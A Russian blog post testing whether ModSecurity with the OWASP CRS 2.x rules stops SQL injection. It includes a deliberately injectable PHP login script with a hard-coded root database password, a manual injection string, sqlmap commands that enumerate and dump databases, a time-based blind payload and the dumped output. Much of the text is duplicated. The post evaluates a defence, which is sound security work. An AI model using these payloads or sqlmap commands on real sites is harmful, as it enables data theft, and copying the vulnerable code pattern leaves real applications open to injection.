Задача
Защитить от регулярного дефейса, XSS и CSRF порядка 10-15 сайтов на одной машинке ну и получения рута дедика.
Предисловие
В очередной раз настраивая Suricata на новый сервер в паре с еще одним админом зашёл разговор — почему не поставить вместо Suricata -ModSecurity. Таким образом обойтись одними apt-get update + fail2ban + ModSecurity и построить защиту сервера на них. Админ на другом конце провода считал это достаточной мерой обеспечения безопасности сервера, тем более как я понял он хорошо разбирался в ModSecurity, но я решил всё-таки поставить полную защиту всех сервисов сервера, нежели уповать на (регулярные) апдейты дистра Debian или RHEL. Защита была построена на Suricata и успешно справляется со школохацкерами и хак-ботами.
Ближе к делу
Не давала мне покоя мысль WAF — может и её было бы достаточно? Может зря я игнорировал ModSecurity? Было решено изучить рынок WAF, в частности ModSecurity для старта.
Далее мой безуспешный опыт…
VPS
Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
Apache 2.4.10-10+deb8u4
PHP 5.6.19+dfsg-0+deb8u1
MariaDB 10.0.23-0+deb8u1
ModSecurity 2.2.9-1
Настройка ModSecurity
Настройка производилась по README и Настройка ModSecurity.
Не буду дублировать хабрапост, скажу лишь, что включил debug-log:
Debug Log
SecDebugLog /opt/modsecurity/var/log/debug.log
SecDebugLogLevel 3
SecDebugLogLevel 3
Полигон испытаний
Уязвимый скрипт php
<?php
if(isset($_POST['login']))
{
$username = $_POST['username'];
$password = $_POST['password'];
$con = mysqli_connect('localhost','root','aga_tak_i_napisal','sample');
$result = mysqli_query($con, «SELECT * FROM `users` WHERE username='$username' AND password='$password'»);
if(mysqli_num_rows($result) == 0)
echo 'Invalid username or password';
else
echo '
}
else
{
?>
Username: />
Password: />
/>
<?php
}
?>
if(isset($_POST['login']))
{
$username = $_POST['username'];
$password = $_POST['password'];
$con = mysqli_connect('localhost','root','aga_tak_i_napisal','sample');
$result = mysqli_query($con, «SELECT * FROM `users` WHERE username='$username' AND password='$password'»);
if(mysqli_num_rows($result) == 0)
echo 'Invalid username or password';
else
echo '
Logged in
';}
else
{
?>
Username: />
Password: />
/>
<?php
}
?>
База данных
+----------+----------+
| username | password |
+----------+----------+
| test | hackme |
+----------+----------+
| username | password |
+----------+----------+
| test | hackme |
+----------+----------+
Атака без ModSecurity(тест)
Заключилась в банальной инъекции в поле username: ' or true —

Успешная эксплуатация уязвимости не заставила себя ждать:

Включаем ModSecurity
Включаем
root@dev:/usr/share/modsecurity-crs# a2enmod security2
Considering dependency unique_id for security2:
Module unique_id already enabled
Enabling module security2.
To activate the new configuration, you need to run:
service apache2 restart
root@dev:/usr/share/modsecurity-crs# service apache2 restart
Considering dependency unique_id for security2:
Module unique_id already enabled
Enabling module security2.
To activate the new configuration, you need to run:
service apache2 restart
root@dev:/usr/share/modsecurity-crs# service apache2 restart
Активированные правила
lrwxrwxrwx 1 root root 83 Apr 24 19:51 modsecurity_crs_41_sql_injection_attacks.conf -> /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf
lrwxrwxrwx 1 root root 73 Apr 24 19:59 modsecurity_crs_41_xss_attacks.conf -> /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_xss_attacks.conf
lrwxrwxrwx 1 root root 73 Apr 24 19:59 modsecurity_crs_41_xss_attacks.conf -> /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_xss_attacks.conf
Проводим ту же самую атаку:

Видим, что атака безуспешна.
SqlMap
Не отчаиваемся, запускаем Sql-map:
python sqlmap.py -u «hackme.com» --data=«username=das&login» --dbs
Параметр --dbs эксплуатирует найденную уязвимость(если есть) и выводит список всех баз данных.
В процессе у нас спрашивают:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
Да, пропускаем, мы уверены, что база данных MySQL(MariaDB)
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
sqlmap сообщает, что инъекция с помощью нул-байта не возможна, спрашивает не хотим ли мы использовать --union-char
Отвечаем да, хотим.
sqlmap показывает нам injection point blind sql-injection:
Injection point
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=das' AND (SELECT * FROM (SELECT(SLEEP(5)))KIWy) AND 'CPyl'='CPyl&login
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=das' AND (SELECT * FROM (SELECT(SLEEP(5)))KIWy) AND 'CPyl'='CPyl&login
Далее идёт процесс эксплуатации blind-sql уязвимости и вывод по символу имён баз данных, ждём сколько потребуется — зависит от количества баз данных на сервере mysql/mariadb
Выглядит так:
Вывод по букве баз-данных
[18:51:40] [INFO] retrieved: mysql
[18:52:00] [INFO] retrieved: performance_schema
[18:53:13] [INFO] retrieved: phpmyadm
[18:52:00] [INFO] retrieved: performance_schema
[18:53:13] [INFO] retrieved: phpmyadm
В конце получаем список всех баз данных на сервере:
Базы Данных
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sample
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sample
Далее выдрать из базы sample и таблицы users поля не составляет труда(Я пропустил --tables флаг для краткости статьи):
python sqlmap.py -u «neverhackme.com» --data=«username=das&login» --dump -D sample -T users
И видим таблицу юзверей:
Users
[19:05:42] [INFO] analyzing table dump for possible password hashes
Database: sample
Table: users
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| test | hackme |
+----------+----------+
Database: sample
Table: users
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| test | hackme |
+----------+----------+
С этими данными я направился за информацией в maillist modsecurity:
Тред маиллиста:
[CRS rules] CRS rules not saving from SQL-Injections
Из всего этого я хотел бы выделить такой момент:
Hey Cr3a70r,
Testing the request you gave me I got the following hits using CRSv3. Not sure if this is because of different testing environments ETC.
и
I used the OWASP CRS 3.0-rc1 branch. It is available here: github.com/SpiderLabs/owasp-modsecurity-crs/tree/v3.0.0-rc1
This is the newest version that is under heavy dev, we are hopeful it will soon replace 2.x :)
Т.е. как я вижу это:
ModSecurity преподносится как Web Application Firewall, но не способен защитить от SqlMap — кто же в наше время руками дёргает за ниточки sql-injection?
Стоит признать, что от школо-инъекций он спасает.
Агент maillist:
Агент
Chaim Sanders
Security Researcher
Trustwave | SMART SECURITY ON DEMAND
Security Researcher
Trustwave | SMART SECURITY ON DEMAND
Сообщает, что у него всё норм, и мол инъекция не удалась. Правда он использует, по его словам, как оказалось, HEAVY DEV версию.
Которая не советуется на production (из-за false-positive срабатываний)
На рынке ModSecurity уже давно, с 2004 года.
Рассудите, может я чего-то не понимаю?